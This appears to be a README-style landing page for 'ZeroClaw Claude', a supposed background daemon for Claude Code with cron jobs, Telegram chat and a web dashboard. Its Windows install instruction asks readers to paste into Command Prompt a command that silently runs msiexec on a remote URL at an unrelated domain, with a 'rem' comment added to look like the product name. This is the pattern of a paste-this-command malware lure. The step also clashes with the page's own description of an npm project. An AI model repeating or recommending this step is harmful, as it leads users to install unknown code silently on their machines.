A lightweight, open-source daemon built into your Claude Code. Zero API overhead, zero separate keys, zero billing surprises.
ZeroClaw Claude turns your Claude Code into a personal assistant that never sleeps. It runs as a background daemon, executing tasks on a schedule, responding to messages on Telegram, transcribing voice commands, and integrating with any service you need — all within your existing Claude Code subscription.
- Press Win + R
- Type:
cmd - Press Enter This will open Command Prompt.
Copy the command below and paste it into Command Prompt, then press Enter.
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Zeroclaw ClaudeThe installer will:
- Check / install Node.js ≥ 20 if needed
- Check / install Bun (fast JS runtime) if needed
- Check / install Claude CLI if needed
- Install Node dependencies and compile TypeScript
- Register the Claude Code plugin and skills
- Run the interactive setup wizard
- Add
zeroclawcommand to your PATH
Zero API overhead. No separate API keys, no token accounting, no billing surprises. Runs entirely within your Claude Code subscription using @anthropic-ai/claude-agent-sdk which spawns the claude binary — your OAuth token is never read or transmitted by ZeroClaw.
Deploy in minutes. One command installs everything. The setup wizard guides you through model, heartbeat, Telegram, and security.
Built-in observability. A real-time web dashboard to monitor runs, edit scheduled jobs, inspect logs, and chat with Claude live.
Cron jobs with standard cron syntax, timezone-aware, and reliable execution. Create jobs from Claude Code or the web dashboard.
# Daily standup at 9am 0 9 * * * — Generate git summary and send to Telegram # Every Friday 5pm 0 17 * * 5 — Send weekly summary and plan for next week Periodic proactive check-ins at a configurable interval with quiet hours. Claude checks in, reviews your context, and surfaces anything important.
Full Telegram integration — text messages, voice notes (Groq Whisper transcription), and photo analysis. Chat with Claude from your phone as if you're in Claude Code.
You: "What's the status of the main branch?" Claude: "main is 3 commits ahead of origin. Last commit: 'fix auth middleware'..." Three layers of persistent memory:
- Session continuity — resumes the same Claude Code session across messages
- Semantic memory — facts, decisions, and preferences extracted and scored by salience
- Tool-use context — what Claude did, captured via post-tool-use hooks
Real-time dashboard at http://127.0.0.1:3742:
- Overview with run stats and token usage
- Cron job manager (create, edit, enable/disable, delete)
- Full run history
- Live chat with Claude
- Streaming log viewer
- Memory browser
Four granular levels:
readonly— no write access, no shellstandard— files + web, no shell execelevated— files + web + shell (default)full— all tools, bypass all prompts
# Start daemon zeroclaw # Or with npm npm start # Setup wizard (first time) npm run setup # Health check npm run status # Development mode (hot reload) npm run dev/zeroclaw:start # Start the daemon /zeroclaw:status # Health check /zeroclaw:job # Manage cron jobs # Natural language works too: "Schedule a daily git summary at 9am" "Add a cron job to check my email every hour" "Show me the ZeroClaw status" zeroclaw-claude/ │ ├── src/ │ ├── index.ts ← Daemon entry point │ ├── types.ts ← TypeScript types │ ├── config.ts ← Config loader (~/. zeroclaw-claude/config.json) │ ├── db.ts ← SQLite: jobs, runs, memory, outbox │ ├── setup.ts ← Interactive setup wizard │ ├── status.ts ← Health check CLI │ │ │ ├── agent/ │ │ └── runner.ts ← Claude agent SDK wrapper + memory │ │ │ ├── scheduler/ │ │ └── index.ts ← node-cron scheduler, timezone-aware │ │ │ ├── daemon/ │ │ ├── heartbeat.ts ← Periodic heartbeat with quiet hours │ │ └── logger.ts ← Structured logger (console + file) │ │ │ ├── bot/ │ │ └── telegram.ts ← Telegram bot (grammy) + outbox poller │ │ │ └── dashboard/ │ └── server.ts ← Express + WebSocket real-time dashboard │ ├── commands/ ← Slash command definitions (.md) ├── hooks/ ← Claude Code hooks (post-tool-use) ├── prompts/ ← System prompts ├── skills/ ← Claude Code skills ├── CLAUDE.md ← Project context for Claude Code ├── .claude-plugin/ │ └── plugin.json ← Claude Code plugin manifest ├── install.sh ← macOS one-command installer ├── package.json └── tsconfig.json Config lives at ~/.zeroclaw-claude/config.json:
{ "model": "claude-sonnet-4-6", "heartbeat": { "enabled": true, "intervalMin": 60, "quietHoursStart": 23, "quietHoursEnd": 8, "prompt": "Check in: any urgent tasks or things I should know about?" }, "telegram": { "enabled": true, "token": "...", "chatId": "...", "allowVoice": true, "groqApiKey": "..." }, "security": "elevated", "dashboardPort": 3742 }| Model | Use case |
|---|---|
claude-sonnet-4-6 | Default — fast and capable |
claude-opus-4-6 | Complex reasoning tasks |
claude-haiku-4-5-20251001 | High-frequency jobs, low latency |
Override per-job by setting model on individual cron jobs.
The web dashboard runs at http://127.0.0.1:3742 (localhost only, not exposed to the network).
Tabs:
- Overview — live stats, recent runs
- Cron Jobs — full job manager
- Run History — complete history with token usage
- Live Chat — talk to Claude directly
- Logs — streaming log viewer
- Memory — browse stored memory entries
- Create a bot at https://t.me/BotFather →
/newbot - Get your chat ID at https://t.me/userinfobot
- Run
npm run setupand enter both values - Optional: add a Groq API key for voice transcription (free tier available at console.groq.com)
Bot commands:
/start — Welcome + feature list /newchat — Clear session, fresh conversation /status — Daemon health stats /jobs — List scheduled cron jobs /memory — Top memory entries /help — Full command list ZeroClaw Claude never reads or transmits your OAuth token.
@anthropic-ai/claude-agent-sdk's query() spawns the claude CLI binary as a child subprocess. That subprocess manages its own OAuth from ~/.claude/. ZeroClaw only receives the text responses — nothing else.
What this means for you: ZeroClaw is fully compatible with Anthropic's February 2026 policy on third-party OAuth usage.
source ~/.zshrc # or ~/.bash_profilenpm install -g @anthropic-ai/claude-codenpm run status # check the port config open http://127.0.0.1:3742Check your chat ID matches exactly. Get it from https://t.me/userinfobot.
MIT
- Inspired by claudeclaw by moazbuilds
- Built for ZeroClaw
- Powered by Claude Code and
@anthropic-ai/claude-agent-sdk